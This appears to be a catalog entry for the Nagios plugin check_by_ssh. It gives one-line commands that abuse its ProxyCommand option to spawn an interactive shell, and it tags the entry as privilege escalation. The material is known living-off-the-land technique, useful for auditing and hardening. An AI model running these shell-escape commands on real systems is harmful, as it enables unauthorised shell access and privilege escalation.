monitoring enabled community medium v1.0.0

check_by_ssh

Nagios plugin for SSH check, can spawn a shell via ProxyCommand exploit.

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check_by_ssh -o 'ProxyCommand /bin/sh -i' -H localhost -C x
check_by_ssh -o 'ProxyCommand /bin/sh -i' -H localhost -C x

Sandbox: execFile · Timeout: 30s

Capabilities

security.privilege-escalation.shell

Contract

Outputs

process.output

Shell output

Side effects: process_spawn

Workflow Edges

Produces

process.output

Resource Profile

ResourceValue
CPUlow
Memory8 MB
Networklow
Disk I/Olow

Examples

Spawn a shell via check_by_ssh ProxyCommand

check_by_ssh -o "ProxyCommand /bin/sh -i <$(tty) |& tee $(tty)" -H localhost -C x

Related Tools

ssh

References